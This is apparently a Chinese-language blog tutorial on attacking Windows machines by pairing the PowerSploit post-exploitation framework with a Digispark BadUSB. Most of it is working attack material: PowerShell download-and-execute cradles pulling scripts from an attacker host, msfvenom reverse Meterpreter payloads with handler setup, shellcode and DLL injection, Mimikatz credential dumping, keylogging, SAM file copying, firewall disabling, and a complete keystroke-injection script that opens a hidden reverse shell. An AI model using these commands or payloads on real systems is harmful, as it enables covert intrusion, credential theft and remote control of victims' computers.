PowerSploit与Badusb联合进行渗透

0x00 PowerShell 介绍

img

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和编写者可以利用,NET Framework的强大功能。

它引入了许多非常有用的新概念,从而进一步扩展了您在Windows命令提示符和Windows Script Host 环境中获得的知识和创建的脚本。

PowerShell诞生于vista时代,在系统中有着强大的功能,可以方便的调用Windows API等等。很多多人忽略了他,但其是一座待开发的金矿,在后渗透测试中产给我们带来意外的惊喜。

0x01 PowerShell执行策略

输入:get-executionpolicy 查看现用执行策略

Restricted—默认的设置,不允许任何script

AllSigned—只能运行经过数字签名的script

RemoteSigned—运行本地的script不需要数字签名,但是要运行从网络上下载的script就必须要有数字签名。

Unrestricted—允许所有的script

修改策略:set-executionpolicy [策略名称]

img

测试:

“$PSVersionTable.PSVersion”写入test.psl 如果脚本成功执行就是打印出这句话

执行:

.\test.ps1 如果是普通用户的话会被禁用

绕过:

powershell.exe –ExecutionPolicy Bypass –file .\test.ps1

img

注意:想要修改执行策略需要超级管理员权限,因此对于内网渗透提权是一个打击。但是可以绕过执行策略限制。

本地权限绕过执行:

Powershell.exe –ExecutionPolicy Bypass –File .\xxx.ps1

本地隐藏权限绕过执行脚本:

PowerShell.exe –ExecutionPolicy Bypass –Nologo –NonInteractive –Noprofile –WindowStyle Hidden –File xxx.ps1

直接用IEX下载远程的PS1脚本回来权限绕过执行:

Powershell “IEX(New-ObjectNet.WebClient).DownloadString(‘https://is.gd/oeoFul’)”;Invoke-Mimikatz –dumpCreds”

0x02 PowerSploit

Powersploit**是一款基于powershell的后渗透(Post-exploitation)框架,集成大量渗透相关模块和功能。**

Github地址:[powersploit](https://github.com/PowerShellMafia/PowerSploit)

将下载下来的powersploit文件夹内的所有文件(不含powersploit文件夹)拷贝到/var/www/html/ 目录下

模块介绍
codexecution 在目标主机执行代码
ScriptModification 在目标主机上创建或修改脚本
Persistence 后门脚本(持续性控制)
AntivirusBypass 发现杀软查杀特征
Exfiltration 目标主机上的信息收集工具
Mayhem 蓝屏等破环形脚本
Recon 以目标主机为跳板进行内网信息侦查
功能介绍
(1)Invoke-Shellcode

将shellcode插入选择的进程ID或本地PowerShell中

IEX (New-Object Net.WebClient).DownloadString(“http://IP/CodeExecution/Invoke–Shellcode.ps1”)

1.攻击者生成payload反弹木马

msfvenom –p windows/meterpreter/reverse_https lhost=192.168.98.94 lport=5555 –f powershell –o /var/www/html/payload

2.监听本机 5555 端口

使用msf exploit/multi/handler模块即可

3.下载相应脚本

IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/CodeExecution/Invoke-Shellcode.ps1”)

4.下载反弹木马

IEX (New-Object Net.Webclient).DownloadString(“http://192.168.98.94/test”)

5.在powershell下运行

Invoke-Shellcode -Shellcode($buf)

完成以上三个命令得到一个meterpreter后渗透会话

img

注入进程:

1.使用 PS 或者 Get-Process 来获取当前进程

ps | Get-Process

2.启动一个记事本,并把他设置为隐藏的

Start-Process C:\Windows\system32\notepad.exe –windowStyle Hidden

3.插入进程中,同样反弹成功

Invoke-Shellcode -ProcessID PID -Shellcode($buf) –Force

(2)Invoke-DLLinjection .dll注入

1.下载相应脚本

IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/CodeExecution/Invoke-DllInjection.ps1”)

2.生成反弹dll文件

2.msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.98.94 lport=5555 -f dll -o /var/www/html/test.dll

3.不可以使用powershell进行下载,之后可以使用badusb进行下载执行

IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/test.dll”)

4.注入进程,切换payload,开始监听,成功反弹

Invoke-DllInjection -ProcessID PID -Dll .\test.dll

(3)Invoke-Portscan端口扫描

1.下载相应脚本

IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/Recon/Invoke-Portscan.ps1”)

2.进行端口扫描

Invoke-Portscan -Hosts 192.168.98.95.1,192.168.98.96 -Ports “80,22,3389”

(4)Invoke-Mimikatz Mimikatz

1.下载相应脚本

IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/Exfiltration/Invoke-Mimikatz.ps1”)

2.读取密码(需要管理员权限)

Invoke-Mimikat –DumpCreds

(5)Get-Keystrokes 键盘记录

1.下载相应脚本

IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/Exfiltration/Get-Keystrokes.ps1”)

2.键盘记录(记录十分详细,连鼠标点击也可以记录,需要管理员权限)

Get-Keystrokes –LogPath + <保存位置>

(6)Invoke-NinjaCopy 文件复制

1.下载相应的脚本

IEX (New-Object Net.WebClient).DownloadString(“http://192.168.98.94/Exfiltration/Invoke-NinjaCopy.ps1”)

2.复制文件(需要管理员权限,一开机就加锁的sam文件也可以复制)

Invoke-NinjaCopy –Path “文件目录”-LocalDestination “复制目录”

0x03 HID Attack

HID**是Human Interface Device的缩写,例如键盘、鼠标与等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。**

由于电脑对这类设备缺少严格的检测措施,只是简单的识别设备类型,就允许设备对电脑进行各项操作。所以,通过修改篡改设备反馈信息,就可以很轻松的让电脑将其他设备误认为HID设备,从而获取控制权限。尤其是USB和蓝牙这类即插即用接口出现,导致HID Attack成为重要方式。例如,Bad USB就是USB类攻击的典型代表。

通过硬件直接插入对方电脑,让对方电脑执行代码,达到干扰、控制主机或者窃取信息等目的。

0x04 Badusb

一般来说,USB 设备有两种,一种是 Host,比如电脑,可以去读取其他 USB 设备的数据,另外一种是 Device,比如键盘鼠标优盘。所以从根本上来说,制作一个 Bad USB 核心要求只有一个,就是自身可以作为 USB Device。

BadUSB最可怕的一点是恶意代码存在于U盘的固件中,由于PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB进行攻击。

U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。

BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。

USB协议漏洞:

现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

0x05 常见的Badusb

1.hak5的USB RUBBER DUCKY

https://hakshop.com/products/usb-rubber-ducky-deluxe

img

2.Digispark(Attiny85微型) USB接口开发板

img)img

3.国内大多是采用的Teensy 或者Arduino Leonardo,淘宝上还有厂商制作的U盘模样的Arduino Leonardo

img

0x06 Digispark

Digispark**是一个基于ATTINY85微控制器的USB开发板,体积小且价钱便宜,功能方面则没有Arduino般强大。代码与Arduino大同小异,更可贵的是使用Arduino IDE来开发。淘宝上直接搜索Digispark就能看到了,价格在7-10元不等。**

配置环境

百度云链接:

https://pan.baidu.com/s/1MmbIlSmIL3wGmaRO4RPjTA 密码:qaqs

Digispark官方教程

http://digistump.com/wiki/digispark/tutorials/connecting

Arduino IDE:

https://www.arduino.cc/en/Main/Software

Digispark的驱动:

https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip

payload hak5的USB-Rubber-Ducky:

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

Digispark翻译脚本:

https://github.com/toxydose/Duckyspark

1.安装驱动

Digistump.Drivers目录下

32位系统安装 DPinst.exe

64位系统安装 DPinst64.exe

注意下图提示框的选择:

img

2.安装IDE

解压缩 arduino-1.8.3-windows-IDE.zip

拷贝到C:\Program Files\arduino-1.8.3目录下

运行:arduino.exe

3.设置arduino

第一步:

img

第二步:填写附加开发板管理器网址:http://digistump.com/package_digistump_index.json

img

第三步 打开开发板管理器

img

等待下载完

img

然后在“类型”中选择“贡献”

img

点击安装Digistump AVR boards by Digistump

img

等待下载的完成

出现下图时表示安装完成了:

img

工具-开发板- 选择:Digispark(Default -16.5Mhz):-如下图

img

然后如下图操作

img

项目-加载库-添加一个.zip库……(此处无法截图)

然后将Keyboard.zip载入

0x07 HID Attack 测试

1.使用hak5-USB RUBBER DUCKY payload进行测试

img

2.使用PowerSploit进行联合测试

img

1.创建一个test.txt文件,内容如下:
DELAY 5000

GUI r

DELAY 500

STRING cmd.exe /T:01 /K mode CON: COLS=16 LINES=1

DELAY 400

ENTER

DELAY 500

ENTER

DELAY 400

STRING powershell

DELAY 500

ENTER

DELAY 500

STRING IEX(New-Object Net.Webclient).DownloadString(“http://192.168.99.135/CodeExecution/Invoke-Shellcode.ps1”)//地址是kali的

DELAY 500

ENTER

DELAY 500

STRING IEX (New-Object Net.Webclient).DownloadString(“http://192.168.99.135/xpy”)

DELAY 500

ENTER

DELAY 500

STRING Invoke-Shellcode -Shellcode ($buf)

DELAY 500

ENTER

DELAY 2000

ENTER

DELAY 5000
2.运行payload转化脚本

python Duckyspark_translator.py e:\test1.txt e:\powershell

3.打开 生成的powershell.ino 文件将其内容拷贝到arduino 中编译

img

4.当编译没有错误时 插入badusb 然后点击“上传”(如下图)

img

5.监听相应端口
msfconsole use exploit/multi/handler 

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.99.135

set lport 5555 run
6.msfvenom生成一个powershell脚本:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.99.135 LPORT=5555 -f powershell -o /var/www/html/test
7.然后主机插入badusb 反弹成功

3.使用自己搭建的ftp等互联网服务进行渗透

(1)用管理员权限打开cmd,进入用户目录,关闭防火墙。

注1:如果用户防火墙开着在下载文件的时候会弹出提示,这样操作就会失败。

注2:如果用户装了安全软件如360这种,关闭防火墙的时候会有告警弹出,也会失败。

cd %USERPROFILE%

netsh firewall set opmode mode=disable profile =ALL

(2)通过执行ftp命令txt文件进行利用

ftp -s:ftp.txt

4. 利用其他小工具、更加复杂的命令等你可以想到的骚思路来进行渗透

1.tv_dump.exe 获取teamviewer用户名密码

2.mimikatz | WebBrowserPassView 等

3.包括一些ukey接口以及终端服务机器等

ps:

1.win7的补丁可能破坏了powershell,导致崩溃,若崩溃,就将tcp协议换为http协议,再进行回连。

2.注意回连不成功,可能是没有打开apache服务器,没开SSH。

3.用Arduino打开时,一个文件夹下只能有一个ino文件,否则编译时会出错。

4.用python 3.多的版本运行脚本

5.在该脚本路径下敲cmd运行脚本

6.txt放在c盘之外再编译成powershell脚本

7.编译时去掉注释

Author

ol4three

Posted on

2018-06-17

Updated on

2021-03-03

Licensed under


Comments